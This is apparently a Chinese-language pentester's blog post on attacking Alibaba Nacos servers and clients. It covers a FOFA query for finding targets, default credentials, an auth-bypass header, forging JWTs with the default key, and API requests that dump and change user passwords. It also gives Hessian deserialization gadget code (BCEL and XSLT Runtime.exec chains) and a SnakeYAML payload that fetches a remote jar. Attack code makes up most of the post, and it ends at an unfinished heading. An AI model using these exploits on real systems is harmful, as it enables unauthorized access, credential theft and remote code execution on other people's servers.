前言

Nacos是阿里搞得一个统一管理的配置注册中心,默认端口是8848 ,fofa搜app="NACOS" && icon_hash="13942501"能搜出一堆,而且在渗透中不论是内网还是外网都十分管用,最简单的利用方法就是看配置文件搞数据库,后台密码,既然在工作中遇到了,就简单记录一下,不要只当个脚本小子

Nacos身份认证绕过漏洞分析

Nacos控制台默认口令漏洞(nacos,nacos),除此之外Nacos鉴权机制还可以被绕过

Nacos User-Agent权限绕过

漏洞影响版本: Nacos <= 2.0.0-ALPHA.1
请求时加上header serverIdentity: security,就可以跳过鉴权

JWT默认secretKey

漏洞影响版本: Nacos <= 2.2.0
Nacos鉴权用的jwt但是JWT密钥在2.2.0之前是默认的,所以可以自定义成功通过鉴权
构造的payload很简单,一个用户名加一个时间戳,只要时间戳没过期,就能通过

1
2
3
4
{
"sub": "nacos",
"exp": 9999999999
}

传入方式,可以加参数accessToken=,或者加header Authorization: Bearer

利用

1
2
3
4
5
6
7
8
9
读取用户账号密码:
GET /nacos/v1/auth/users?pageNo=1&pageSize=9

添加用户:
POST /nacos/v1/auth/users?username=test&password=test"

任意用户密码更改:
PUT /nacos/v1/auth/users?username=test&newPassword=test1234"

Nacos Jraft Hessian反序列化

漏洞影响版本: 1.4.0 <= Nacos < 1.4.6 在单机模式下默认不开放7848端口,需使用cluster集群模式运行
2.0.0 <= Nacos < 2.2.3 默认开放7848端口,任意模式启动均受到影响

Hessian

Hession 是基于二进制的实现,传输数据更小更快,基于 HTTP 协议传输。
Hessian反序列化和java原生反序列化很像,都是直接对Field进行赋值操作的机制,而不是基于Bean属性访问机制

基本用法

hessian除了配合 web 项目使用,或作为微服务调用的传输协议外,也可以自行封装自行调用

1
2
3
4
5
6
7
8
9
10
11
12
13
public static <T> byte[] serialize(T o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);//可以看出就是把ObjectOutputStream变成了HessianOutput
output.writeObject(o);
return bao.toByteArray();
}

public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bai);
Object o = input.readObject();
return (T) o;
}

除此之外还用HessianInput/HessianOutput、Hessian2Input/Hessian2Output(在 Hassian jar 3.2.0 之后,采用了 Hessian 2.0协议,同时还兼容 Hessian 1.0)、BurlapInput/BurlapOutput 的相关方法的封装

Hessian反序列化

HessianOutput在写入自定义类型时会将其标记为 Map 类型

MapDeserializer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public Object readMap(AbstractHessianInput in)
throws IOException
{
Map map;

if (_type == null)//在没有指定 Map 的具体实现类时,将会默认使用 HashMap
map = new HashMap();
else if (_type.equals(Map.class))
map = new HashMap();
else if (_type.equals(SortedMap.class))
map = new TreeMap();
else {
try {
map = (Map) _ctor.newInstance();
} catch (Exception e) {
throw new IOExceptionWrapper(e);
}
}

in.addRef(map);

while (! in.isEnd()) {
map.put(in.readObject(), in.readObject());//将键值put到hashmap中
}

in.readEnd();

return map;
}

利用链(source:put)

前面Hessian可以看出起始方法只能为 put方法可以触发的方法,也就是hashCode/equals/compareTo 方法
该漏洞主要是针对部分Jraft请求处理时,使用hessian进行反序列化未限制而造成的RCE漏洞,这里就简单分析一下Nacosrce中出现的几条链子

bcel

由于hessian-4.0.63存在黑名单限制,不能直接调用命令执行函数,所以只能采用加载字节码或jndi远程调用

javax.swing.UIDefaults
1
2
3
4
5
6
7
8
9
10
11
12
13
public class UIDefaults extends Hashtable<Object,Object>
{
public Object get(Object key) {
Object value = getFromHashtable( key );
return (value != null) ? value : getFromResourceBundle(key, null);
}
private Object getFromHashtable(final Object key) {
Object value = super.get(key);
...........
if (value instanceof LazyValue) {
try {
value = ((ActiveValue)value).createValue(this);
}
sun.swing.SwingLazyValue
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class SwingLazyValue implements UIDefaults.LazyValue {
public Object createValue(UIDefaults var1) {
try {
ReflectUtil.checkPackageAccess(this.className);
Class var2 = Class.forName(this.className, true, (ClassLoader)null); //没什么,默认也是true,加载静态代码块
Class[] var3;
if (this.methodName != null) {
var3 = this.getClassArray(this.args);
Method var6 = var2.getMethod(this.methodName, var3); //这里没有创造实例,只调用静态方法
this.makeAccessible(var6);
return var6.invoke(var2, this.args);
} else {
var3 = this.getClassArray(this.args);
Constructor var4 = var2.getConstructor(var3);
this.makeAccessible(var4);
return var4.newInstance(this.args); //只创造实例,只能触发构造方法
}
} catch (Exception var5) {
return null;
}
}
com.sun.org.apache.bcel.internal.util.JavaWrapper
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class JavaWrapper {
public static void _main(String[] argv) throws Exception {
String class_name = argv[0];
..........
wrapper.runMain(class_name, new_argv);
}
//默认使用bcel.classloader
public JavaWrapper() {
this(getClassLoader());
}
public JavaWrapper(java.lang.ClassLoader loader) {
this.loader = loader;
}
private static java.lang.ClassLoader getClassLoader() {
String s = SecuritySupport.getSystemProperty("bcel.classloader");

if((s == null) || "".equals(s))
s = "com.sun.org.apache.bcel.internal.util.ClassLoader";
try {
return (java.lang.ClassLoader)Class.forName(s).newInstance();
} catch(Exception e) {
throw new RuntimeException(e.toString());
}
}

public void runMain(String class_name, String[] argv) throws ClassNotFoundException
{
Class cl = loader.loadClass(class_name);
.........
}

实例

putVal:635, HashMap (java.util)
equals:814, Hashtable (java.util) //跟cc7 hash值相等触发equals原理相同,触发Hashtable.equals(UIDefaults)
get:161, UIDefaults (javax.swing) //触发传入UIDefaults的get方法
getFromHashtable:216, UIDefaults (javax.swing)
createValue:73, SwingLazyValue (sun.swing) //可以调用任意静态方法或者一个构造函数
_main:153, JavaWrapper (com.sun.org.apache.bcel.internal.util)

1
2
3
4
5
6
7
8
9
JavaClass clazz = Repository.lookupClass(NacosFilterShellPlus.class);
String payload = "$$BCEL$$" + Utility.encode(clazz.getBytes(), true);
//classname,methodName,arg
SwingLazyValue value = new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}});
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put(value, value);
Hashtable<Object, Object> hashtable = new Hashtable();//也可以是UIDefaults,这里只是为了在调试的时候好区分
hashtable.put(value, value);
return makeMap(uiDefaults, hashtable);

xslt

这个更加通用,链子跟上面那个差不多,就是最后调用的方法不一样

1
2
3
4
5
6
7
8
//String tmpPath = "/tmp/nacos_data_temp";
String tmpPath = "C:\\Windows\\Temp\\nacos_data_temp";
String cmd = payloadType.substring(4);
String xslt = "<xsl:stylesheet version=\"2.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:java=\"http://saxon.sf.net/java-type\">\n <xsl:template match=\"/\">\n <xsl:value-of select=\"Runtime:exec(Runtime:getRuntime(),'<command>')\" xmlns:Runtime=\"java.lang.Runtime\"/>\n </xsl:template>\n</xsl:stylesheet>".replace("<command>", cmd);
value = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{tmpPath, xslt.getBytes()});//先写到攻击目标本地文件中(一般/tmp/都有写的权限)
........
//第二次攻击执行poc
value = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file://" + tmpPath}});

原理(二进制的东西我也看不明白):https://paper.seebug.org/1963/#0x00

Apache Dubbo Hessian2异常处理反序列化漏洞(CVE-2021-43297)

这是hessian反序列化的另一个思路,以tostring为source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
protected IOException expect(String expect, int ch)
throws IOException
{
.............

Object obj = readObject();

if (obj != null) {
return error("expected " + expect
+ " at 0x" + Integer.toHexString(ch & 0xff)
+ " " + obj.getClass().getName() + " (" + obj + ")" //触发tostring
+ "\n " + context + "");
public int readString(char []buffer, int offset, int length)
throws IOException
{
int readLength = 0;

if (_chunkLength == END_OF_DATA) {
_chunkLength = 0;
return -1;
}
else if (_chunkLength == 0) {
int tag = read(); //从序列化流中读取tag标记

switch (tag) {
.......................

default:
throw expect("string", tag); //我们只需要取default上面没有条件的case就行了
}
}



示例

expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)

1
2
3
4
5
6
7
8
9
10
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(baos);
baos.write(67); //67 对应的字符是 C。这段代码将这个字节直接写入到字节流中,不涉及 Hessian 序列化。为了在序列化数据之前插入一些额外的字节。
output.writeObject(evilClass);
output.flushBuffer();

ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
Hessian2Input input = new Hessian2Input(bais);
input.readObject();

攻击客户端

Nacos-client Yaml反序列化漏洞

漏洞影响版本: Nacos-Client < 1.4.2
其实也很好理解,nacos本身就是管理动态配置的,我们可以设置配置类型为yaml,并且修改配置为任意poc,当修改成功之后,对应的客户端Nacos-client轮询会接受到信息,并且会调用SnakeYaml包反序列化配置文件

snakeYaml反序列化

1
2
3
String context = "!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL [\"http://127.0.0.1:8000/yaml-payload.jar\"]]]]";//snakeYaml特有的触发construct方法,具体的我也记不清了
Yaml yaml = new Yaml();
yaml.load(context);

执行的jar包需要符合SPI 机制 https://github.com/passer-W/snakeyaml-memshell
修复法方

1
2
Yaml yaml = new Yaml(new SafeConstructor());
yaml.load(context);

Nacos结合Spring Cloud Gateway RCE利用